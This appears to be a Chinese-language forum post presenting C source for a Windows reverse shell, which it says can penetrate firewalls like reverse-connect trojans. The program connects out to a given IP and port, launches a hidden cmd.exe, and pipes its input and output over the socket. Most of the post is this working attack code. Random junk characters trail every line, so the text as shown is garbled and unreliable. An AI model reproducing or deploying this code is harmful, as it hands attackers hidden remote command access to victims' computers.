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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ZZxt90YR'5  
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/* ============================== A5}N[|z  
Rebound port in Windows NT ==KDr 0|G  
By wind,2006/7 VL\Ah3+  
===============================*/ >W:kTS<  
#include ,Wd+&|Q  
#include NS x-~)  
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#pragma comment(lib,"wsock32.lib") p4uObK,  
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void OutputShell(); >"zN`  
SOCKET sClient; 7|ACJv6%9  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; A i#~Eu*  
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void main(int argc,char **argv) [W'2z,S`WD  
{ 'OhGSs|  
WSADATA stWsaData; b9Eb"  
int nRet; =.`e4}u \X  
SOCKADDR_IN stSaiClient,stSaiServer; W$D:mw7  
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if(argc != 3) .q 4FGPWz  
{ j->5%y  
printf("Useage:\n\rRebound DestIP DestPort\n"); -ebyW#  
return; ob)c0Pz  
} eY:jVYG(  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ~^3U@( :  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HErG%v]nw  
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stSaiClient.sin_family = AF_INET; |t58n{V.O  
stSaiClient.sin_port = htons(0); cGg ~+R2P  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); m$'ZiS5  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]*rK;  
{ &x4|!" G  
printf("Bind Socket Failed!\n"); 9PR?'X;4  
return; py/#h$eY  
} N71%l  
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stSaiServer.sin_family = AF_INET; *M~BN}.  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;T!ZO@1X  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Z7MGBwP(  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +'g~3A-G  
{ -0*z"a9<p8  
printf("Connect Error!"); DL '{ rK  
return; #.@D}7y5  
} t8#u}u  
OutputShell(); +=L^h9F  
} <)oW  
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void OutputShell() N<HJ}geC "  
{ Pfg.'Bl  
char szBuff[1024]; [:{HX U7y  
SECURITY_ATTRIBUTES stSecurityAttributes; Kl :x?"g)  
OSVERSIONINFO stOsversionInfo; =%crSuP  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #t&L}=G{%  
STARTUPINFO stStartupInfo; @w;&:J9m  
char *szShell; KD..X~Me  
PROCESS_INFORMATION stProcessInformation; =|3*Y0  
unsigned long lBytesRead; T$Rf  
to] ~$~Q|>  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Ij7[2V]c  
WSx0o}  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); { =IAS}  
stSecurityAttributes.lpSecurityDescriptor = 0; Up1e4mNL  
stSecurityAttributes.bInheritHandle = TRUE; /V>yF&p  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); AUm5$;o,/  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6L&_(/{Uw  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Z2I2 [pA  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G9 ra;.  
stStartupInfo.wShowWindow = SW_HIDE; {60U6n  
stStartupInfo.hStdInput = hReadPipe; eh6=-  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^" UZ.@sq'  
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GetVersionEx(&stOsversionInfo); >+ku:<Hw%.  
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switch(stOsversionInfo.dwPlatformId) +)e+$ l  
{ |il P>b  
case 1: Zopi;O J  
szShell = "command.com"; #J*hZ(Pq  
break; >B+!fi'SS>  
default: B5/"2i  
szShell = "cmd.exe"; %_ Vj'z~T  
break; 0-I L@Di`F  
} =a_ >")  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);  D ~t  
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send(sClient,szMsg,77,0); @`:z$52  
while(1) 7SJtW`~  
{ 3|1v)E  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Qis/'9a  
if(lBytesRead) 1c*XmMB  
{ N|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @*5(KIeeC>  
send(sClient,szBuff,lBytesRead,0); /NFm6AA]  
} !,JV<( 7k  
else *L#\#nh7  
{ mBg$eiGTB  
lBytesRead=recv(sClient,szBuff,1024,0); ;a~ e  
if(lBytesRead<=0) break; KWi P`h8  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); G Y+li {  
} {1J4Q[N9m  
} #b$qtp!,  
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return; $VUX?ii$7=  
}
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